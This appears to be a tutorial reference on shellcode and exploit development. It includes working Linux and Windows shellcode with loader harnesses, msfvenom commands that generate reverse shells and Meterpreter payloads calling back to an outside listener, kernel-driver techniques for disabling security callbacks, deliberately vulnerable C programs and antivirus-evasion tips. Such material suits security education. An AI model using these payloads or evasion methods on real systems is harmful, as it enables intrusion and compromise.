Shellcode
The Complete Shellcode & Vulnerability Development Reference Guide
From Assembly to Kernel Drivers: A Comprehensive Journey
Table of Contents
Introduction
Linux Shellcode Development
Windows Shellcode Development
Metasploit Workflow
Kernel Driver Exploitation
Creating Vulnerable Software
Debugging & Analysis Tools
Common Pitfalls & Solutions
Introduction
This guide documents the complete process of shellcode development, from basic assembly to advanced kernel-level exploitation. Whether you're a beginner learning buffer overflows or an experienced researcher developing custom exploits, this reference provides the foundational knowledge and practical examples needed to understand and create working shellcode.
Key Concepts
Shellcode: Position-independent machine code that executes a desired payload
System Calls: The interface between user space and kernel functionality
API Resolution: The process of dynamically finding function addresses in memory
Bad Characters: Bytes that would break the shellcode in specific contexts
Linux Shellcode Development
Basic Linux execve("/bin/sh") Shellcode
Assembly Code
nasm
section .text
global _start
_start:
; Clear registers to avoid null bytes
xor eax, eax ; Clear EAX
mov al, 0x0b ; Syscall number for execve (11)
; Build "/bin/sh" string on stack
push eax ; Null terminator
push 0x68732f2f ; "hs//" (little-endian)
push 0x6e69622f ; "nib/" (little-endian)
; Set up registers for syscall
mov ebx, esp ; EBX points to "/bin/sh" string
xor ecx, ecx ; ECX = NULL (argv)
xor edx, edx ; EDX = NULL (envp)
int 0x80 ; Trigger syscall interruptCompilation and Extraction
bash
# Assemble the code
nasm -f elf32 shellcode.asm -o shellcode.o
# Link for testing
ld -m elf_i386 shellcode.o -o shellcode
# Extract opcodes
objdump -d shellcode.oResulting Shellcode
text
\x31\xc0\xb0\x0b\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80Testing Shellcode
c
#include <stdio.h>
char code[] = \
"\x31\xc0\xb0\x0b\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
int main() {
printf("Shellcode length: %d bytes\n", (int)sizeof(code)-1);
int (*ret)() = (int(*)())code;
ret();
return 0;
}Compile with: gcc -m32 -z execstack -fno-stack-protector test_shellcode.c -o test_shellcode
Null-Free Optimized Version
nasm
section .text
global _start
_start:
; Clear registers without null bytes
xor ecx, ecx ; ECX = 0
mul ecx ; EAX * ECX -> zeros EAX and EDX
mov al, 0xb ; Syscall number
; Push string without null bytes
push ecx ; Push 0 using cleared register
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp ; EBX points to string
int 0x80 ; SyscallWindows Shellcode Development
Key Differences from Linux
No Direct Syscalls: Must call Windows API functions
Dynamic API Resolution: Addresses change due to ASLR
PEB Walking: Technique to find DLL base addresses
API Hashing: Using hashes instead of string names
Windows execve Equivalent: WinExec
High-Level Plan
c
// What we want to achieve
WinExec("calc.exe", 1);
ExitProcess(0); // Optional but recommendedManual PEB Walking Approach
Conceptual Assembly Structure
nasm
start:
; --- 1. Find kernel32.dll base address ---
xor ecx, ecx
mov esi, [fs:ecx + 0x30] ; PEB pointer
mov esi, [esi + 0x0C] ; PEB->Ldr
mov esi, [esi + 0x14] ; First module (ntdll.dll)
mov esi, [esi] ; Second module (kernel32.dll)
mov ebx, [esi + 0x10] ; EBX = kernel32.dll base
; --- 2. Find WinExec by hash ---
mov edx, 0x876F8B31 ; Hash of "WinExec"
call find_function_by_hash
; --- 3. Call WinExec ---
xor edx, edx
push edx ; Null terminator
push 0x6578652e ; "exe."
push 0x636c6163 ; "clac" ("calc" reversed)
mov ecx, esp ; ECX points to "calc.exe"
push 1 ; uCmdShow = SW_SHOWNORMAL
push ecx ; lpCmdLine = "calc.exe"
call eax ; Call WinExec
find_function_by_hash:
; Complex EAT parsing code
; EBX = DLL base, EDX = hash
; Returns function address in EAX
retPractical Metasploit Approach
Installing Metasploit (Without Snap)
bash
# Download official installer
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
# Make executable and run
chmod +x msfinstall
sudo ./msfinstallGenerating Windows Shellcode
bash
msfvenom -p windows/exec CMD=calc.exe -f c -a x86 --platform windows -b '\x00'Flags Explanation:
-p windows/exec: Payload that executes a commandCMD=calc.exe: Command to execute-f c: Output format (C array)-a x86: Architecture (32-bit)--platform windows: Target platform-b '\x00': Remove null bytes (common bad character)
Example Output
c
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";Windows Shellcode Testing Program
c
#include <windows.h>
#include <stdio.h>
// Paste your msfvenom output here
unsigned char code[] = \
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main() {
printf("Shellcode length: %d bytes\n", (int)sizeof(code));
// Allocate executable memory
void *exec_mem = VirtualAlloc(0, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec_mem == NULL) {
printf("VirtualAlloc failed!\n");
return -1;
}
// Copy shellcode to executable memory
RtlMoveMemory(exec_mem, code, sizeof(code));
// Execute
printf("Executing shellcode...\n");
int (*func)() = (int(*)())exec_mem;
func();
printf("Done!\n");
return 0;
}Compile with: gcc test_shellcode.c -o test_shellcode.exe
Metasploit Workflow
Common msfvenom Payloads
Windows Payloads
bash
# Basic calc execution
msfvenom -p windows/exec CMD=calc.exe -f c -a x86 --platform windows
# Reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c -a x86
# Meterpreter reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c -a x86Linux Payloads
bash
# Linux exec
msfvenom -p linux/x86/exec CMD=/bin/sh -f c -a x86 --platform linux
# Linux reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c -a x86Output Formats
bash
-f c # C array
-f python # Python bytes
-f raw # Raw binary
-f exe # Windows executable
-f elf # Linux ELF binaryKernel Driver Exploitation
Why Use Kernel Drivers?
Kernel drivers (Ring 0) have complete system authority, enabling capabilities impossible in user mode:
Common Kernel Driver Techniques
1. Disabling Security Mechanisms
c
// Conceptual examples - actual implementation varies
DisablePatchguard(); // Bypass Kernel Patch Protection
DisableDSE(); // Bypass Driver Signature Enforcement
UnregisterCallbacks(); // Remove AV/EDR kernel callbacks2. Token Stealing Payload
The classic privilege escalation technique:
Conceptual Process:
Find
EPROCESSstructure forSystemprocess (PID 4)Find
EPROCESSstructure for target process (e.g., cmd.exe)Copy the security
Tokenfrom System to target processTarget process now runs as
NT AUTHORITY\SYSTEM
3. Direct Memory Manipulation
c
// Kernel drivers can read/write any process memory
ReadProcessMemory(any_pid, any_address, buffer, size);
WriteProcessMemory(any_pid, any_address, shellcode, size);Kernel Driver Challenges
Patchguard (KPP): Must be bypassed on 64-bit Windows
Driver Signature Enforcement (DSE): Requires signed drivers or bypasses
Hypervisor-Protected Code Integrity (HVCI): Additional memory protection
Kernel Patch Protection: Prevents modification of core kernel structures
Practical Considerations
Use Vulnerable Driver for testing (like Intel
iqvw64e.sys)Test in VM with protections disabled initially
Consider DSE bypass techniques for research
Always use development/test environments
Creating Vulnerable Software
Building custom vulnerable applications is crucial for understanding exploitation techniques in isolation.
1. Stack-Based Buffer Overflow
Vulnerable Code
c
#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input); // No bounds checking!
}
int main(int argc, char *argv[]) {
if (argc > 1) {
vulnerable_function(argv[1]);
}
return 0;
}Compilation Flags:
bash
gcc -m32 -fno-stack-protector -z execstack vuln.c -o vulnExploitation Steps:
Crash with long input:
./vuln $(python -c "print 'A'*100")Find EIP overwrite offset
Replace with shellcode address
2. Format String Vulnerability
Vulnerable Code
c
#include <stdio.h>
int main(int argc, char *argv[]) {
if (argc > 1) {
printf(argv[1]); // User input as format string!
printf("\n");
}
return 0;
}Exploitation:
Read memory:
%x %x %x %xWrite to memory:
%nformat specifierOverwrite GOT entries
3. Heap Overflow / Use-After-Free
Vulnerable Code
c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct object {
char name[32];
void (*print_name)(struct object*);
};
void print_object_name(struct object *obj) {
printf("Name: %s\n", obj->name);
}
int main() {
struct object *obj1 = malloc(sizeof(struct object));
struct object *obj2 = malloc(sizeof(struct object));
strcpy(obj1->name, "First Object");
obj1->print_name = print_object_name;
// Free the object
free(obj1);
// Use after free - vulnerability!
obj1->print_name(obj1);
return 0;
}4. Integer Overflow
Vulnerable Code
c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void process_data(char *data, unsigned int len) {
// Integer overflow vulnerability
unsigned int buffer_size = len + 10;
char *buffer = malloc(buffer_size);
if (buffer) {
// Potential buffer overflow if len + 10 wraps around
memcpy(buffer, data, len);
buffer[len] = '\0';
printf("Processed: %s\n", buffer);
free(buffer);
}
}
int main() {
char data[100];
unsigned int length;
printf("Enter length: ");
scanf("%u", &length);
printf("Enter data: ");
read(0, data, 100);
process_data(data, length);
return 0;
}Advanced Protection Bypasses
Modern Exploitation Challenges
1. Data Execution Prevention (DEP)
Problem: Stack/Heap not executable Solution: Return-Oriented Programming (ROP)
bash
# Compile without execstack
gcc -m32 -fno-stack-protector vuln.c -o vuln_dep2. Address Space Layout Randomization (ASLR)
Problem: Memory addresses randomized Solution: Information leaks to defeat randomization
bash
# Enable ASLR (Linux)
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space3. Stack Canaries
Problem: Stack corruption detection Solution: Leak canary value or bypass check
bash
# Compile with stack protector
gcc -m32 vuln.c -o vuln_canary4. Control Flow Integrity (CFI)
Problem: Indirect call validation Solution: Advanced ROP techniques, JOP/COP
Protection Matrix
Protection
Compiler Flag
Bypass Technique
DEP
-z noexecstack
ROP chains
Stack Canary
-fstack-protector
Canary leakage
ASLR
System setting
Information leak
PIE
-fPIE -pie
Base calculation
RELRO
-z relro
GOT overwrite timing
Debugging & Analysis Tools
Essential Tools Checklist
Linux Tools
bash
# Debuggers
gdb # GNU Debugger
gdb with gef/pwndbg # Enhanced GDB plugins
# Disassemblers
objdump -d # Object file disassembly
radare2 # Advanced reverse engineering
# Analysis
strace # System call tracing
ltrace # Library call tracing
# Memory analysis
gcore # Core dump generationWindows Tools
bash
# Debuggers
x64dbg # User-mode debugger
WinDbg # Microsoft debugger (kernel/user)
# Analysis
Process Explorer # Process monitoring
Process Monitor # Real-time system monitoring
API Monitor # API call tracingCross-Platform
bash
# Analysis
strace/ltrace # Linux system/library calls
Wireshark # Network analysisGDB Enhanced with GEF/Pwndbg
bash
# Install GEF
wget -q -O ~/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py
echo "source ~/.gdbinit-gef.py" >> ~/.gdbinit
# Common commands
gdb ./vuln
run $(python -c "print 'A'*100")
info registers
x/20wx $esp
pattern create 100
pattern offset $eipPractical Debugging Workflow
Crash Reproduction: Trigger the vulnerability
Control Verification: Confirm EIP control
Bad Character Analysis: Test shellcode bytes
Exploit Development: Build working payload
Reliability Testing: Ensure consistent execution
Common Pitfalls & Solutions
Problem: Shellcode Contains Null Bytes
Solution:
Use register clearing with
xor reg, regAvoid instructions that generate nulls
Use
msfvenom -b '\x00'for automatic encoding
Problem: Shellcode Crashes
Solution:
Check for bad characters in target context
Verify stack alignment
Ensure proper memory permissions
Problem: Address Changes Between Runs (ASLR)
Solution:
Use information leaks to calculate addresses
Implement ROP chains
Use relative addressing where possible
Problem: Antivirus Detection
Solution:
Custom shellcode encoding
Obfuscation techniques
Living-off-the-land binaries (LOLBins)
Problem: Modern Protections
Solution:
Combine multiple bypass techniques
Use information disclosure vulnerabilities
Chain multiple vulnerabilities together
Quick Reference Commands
Essential Compilation Flags
bash
# 32-bit, no protections (learning)
gcc -m32 -fno-stack-protector -z execstack vuln.c -o vuln
# 32-bit with DEP
gcc -m32 -fno-stack-protector vuln.c -o vuln_dep
# 32-bit with all protections
gcc -m32 vuln.c -o vuln_secure
# 64-bit
gcc -fno-stack-protector -z execstack vuln.c -o vuln64Metasploit Quick Reference
bash
# Install
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
sudo ./msfinstall
# Generate payloads
msfvenom -p windows/exec CMD=calc.exe -f c -a x86 -b '\x00'
msfvenom -p linux/x86/exec CMD=/bin/sh -f c -a x86
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 -f exe > payload.exeDebugging Commands
bash
# Linux debugging
gdb ./program
run $(python -c "print 'A'*100")
info registers
x/10wx $esp
# Windows testing
gcc test_shellcode.c -o test_shellcode.exe
# Disable AV temporarily for testing!Conclusion
This comprehensive guide covers the complete journey from basic shellcode development to advanced kernel-level exploitation. The key to mastery is practice - start with simple stack overflows, progress through modern protections, and eventually tackle real-world exploitation scenarios.
Remember: Always conduct security research in appropriate environments with proper authorization. This knowledge is powerful and should be used responsibly for education, defense, and authorized testing purposes.
Last updated
Was this helpful?